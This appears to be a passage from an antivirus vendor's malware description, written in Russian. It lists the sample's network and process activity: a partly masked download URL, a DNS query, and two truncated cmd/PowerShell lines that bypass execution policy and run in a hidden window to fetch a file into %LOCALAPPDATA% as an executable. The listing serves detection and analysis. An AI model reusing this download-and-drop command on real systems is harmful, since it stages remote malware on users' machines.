Техническая информация
- http://fu#.##uffurface.net/dnoces/tpmetta/eztrxytcfvgubhki.php как %localappdata%\tempefgjasd.exe
- DNS ASK fu#.##uffurface.net
- '<SYSTEM32>\cmd.exe' /c PowerShell -NoExit -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://fu#.##uffurface.net/dnoces/tpmetta/eztrxytcfvgubhki.php','%LOCALAPPDATA%\TempeFGJ...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c PowerShell -NoExit -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://fu#.##uffurface.net/dnoces/tpmetta/eztrxytcfvgubhki.php','%LOCALAPPDATA%\TempeFGJ...